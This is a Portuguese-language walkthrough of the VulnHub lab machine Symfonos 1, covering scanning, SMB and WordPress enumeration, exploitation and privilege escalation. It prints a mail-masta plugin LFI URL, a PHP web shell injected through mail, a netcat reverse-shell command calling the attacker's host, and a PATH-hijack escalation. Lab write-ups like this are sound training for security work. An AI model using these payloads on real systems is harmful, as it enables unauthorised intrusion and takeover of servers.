Link da Maquina: https://www.vulnhub.com/entry/symfonos-1,322/
Olá
Aproveite.
Scanning web and services
Host Discovery
Inicialmente, realizamos um escaneamento na rede para encontrar o IP da máquina alvo.
1
sudo nmap -sn 10.0.2.1-255
O parâmetro
sn
tem como objetivo realizar um scan de ping.
Port Discovery
Com o IP alvo em mãos, foi utilizado o comando abaixo para obter mais informações sobre as portas e serviços em funcionamento no alvo. O comando foi dividido em duas partes. Primeiramente, realizou-se um escaneamento em todas as 65535 portas
existentes e filtrando-as, armazenando tudo na variável ports
, que foi usada na segunda parte do comando.
1
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.0.2.10 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sV -p $ports 10.0.2.10
Enumeration
Nessa etapa, realizamos uma análise básica dos serviços para ver se havia algo óbvio.
Port 22 - OpenSSH
Verificamos os métodos aceitos no ssh da máquina alvo.
1
ssh 10.0.2.10 -v
Port 25 - Postfix smtpd
1
nmap --script smtp-commands.nse 10.0.2.10 -p 25
Port 80 - Apache httpd 2.4.25
Inicialmente, para enumerar a porta em questão, foi inserida a URL no navegador e foi exibida uma página com uma imagem no estilo padrão das máquinas da série Symfonos. Em seguida, foi utilizada a ferramenta Dirbuster para enumerar diretórios, conforme as figuras abaixo.
Conforme apresentado na figura acima, não foi encontrado nenhum diretório interessante, o que pode ser bastante frustrante para os usuários que estão buscando algo específico. No entanto, embora isso possa parecer desanimador, você não deve desistir. Muitas vezes, os diretórios que você procura são escondidos e não são facilmente visíveis. Por isso, é importante que você explore todas as opções antes de desistir.
Ports 139/445 - Samba smbd 3.X - 4.X
Para enumerar o serviço, foi utilizada a ferramenta smbclient, conforme mostrado no comando a seguir.
1
smbclient -L 10.0.2.10
Como resposta foram obtidos alguns shares (compartilhamentos) interessantes, dentre eles destacam-se o helios e o anonymous.
Ao acessar o compartilhamento (share) anônimo, tivemos acesso ao arquivo attention.txt, que continha a mensagem do usuário Zeus
solicitando que os usuários parassem de usar senhas como epidioko
, qwery
e baseball
.
Tentamos acessar o share Helios usando o usuário helios
e testamos as senhas contidas no arquivo attention.txt. Não demorou para descobrirmos as credenciais do usuário helios
.
Credenciais:
helios:qwerty
Na imagem a seguir, é possível verificar o conteúdo dos arquivos presentes no share Helios.
Ao analisar o conteúdo do arquivo todo.txt, encontramos o diretório /h3l105. Esse diretório não foi detectado durante nossa busca usando a ferramenta Dirbuster.
Port 80 - Again!
A partir daqui, voltamos ao ambiente da porta 80.
Ao acessar o ambiente, notamos que o site estava “quebrado”. Ao analisar os links, percebemos que todos eles continham a nomenclatura “symfonos.local”.
Para corrigir, é necessário adicionar o IP e o Hostname ao arquivo /etc/hosts
, conforme mostrado na figura abaixo.
Sucesso! Agora, com tudo configurado, podemos começar a enumerar novamente este serviço. Sem muita análise, já é possível perceber que está sendo executado um WordPress no site. Por isso, buscamos diretórios comuns do WordPress e encontramos o /wp-admin.
http://symfonos.local/h3l105/wp-admin/
Para enumerar WordPress, usamos a ferramenta wpscan. Executamos o comando a seguir para isso:
1
wpscan --url http://symfonos.local/h3l105/ --enumerate p
Após a enumeração do WordPress, diversas informações importantes foram obtidas, como a versão do serviço e a existência do plugin “mail-masta” (conforme as imagens acima).
Utilizando o segundo melhor amigo do homem, o Google, foi possível encontrar um possível exploit para o plugin “mail-masta” (conforme o link e imagem abaixo).
Exploit-DB: https://www.exploit-db.com/exploits/40290
Exploitation
Plugin MAIL-MASTA Local File Inclusion
De acordo com a explicação do Exploit do link mencionado, é possível obter um LFI (Local File Inclusion) na máquina alvo usando o link abaixo.
1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Com o passo anterior em mente, enviamos um email para o usuário helios
contendo um parâmetro em .php
na mensagem. Assim, conseguimos acessá-lo usando o LFI.
1
<?php system($_GET['cmd']); ?>
Conforme figura acima, nosso envio foi um sucesso.
Agora, para verificar se tudo está conforme o planejado, acessamos a URL usando o seguinte comando:
1
[http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id](http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id)
Após observar o sucesso do comando supracitado, chegou o momento de tentarmos uma shell reversa através do seguinte comando:
1
[http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc 10.0.2.6 1337 -e /bin/sh](http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc%2010.0.2.6%201337%20-e%20/bin/sh)
Lembrando de utilizar o
nc
para escutar na porta destino, no caso, 1337.
Shell Obtido
Privilege Escalation
A partir do momento que foi obtido a shell na máquina alvo, foram realizados procedimentos padrão em busca da escalação de privilégios.
Também, fiz o download do arquivo LinEnum.sh, usando um servidor simples em Python na minha máquina. Isso permitiu realizar uma enumeração automatizada de alguns pontos interessantes da máquina alvo.
A ferramenta trouxe diversos pontos interessantes, destaquei o arquivo /opt/statuscheck
das imagens acima.
Ao analisar o funcionamento do statuscheck
, notou-se que a execução resultava num header HTTP.
Após, foi utilizado o comando strings
para analisar um pouco mais sobre o arquivo. Com isso, foi possível perceber a existência do comando curl
dentro do mesmo.
Conforme imagem acima, foi inserido o comando /bin/sh
para dentro de um NOVO arquivo curl
, que, desta vez, estaria localizado na pasta /tmp
.
Com o novo arquivo criado, foi realizado um roubo de path, conforme os passos da figura acima e o código utilizado abaixo.
export PATH=tmp:$PATH
Sucesso, agora, basta executar o arquivo statuscheck
.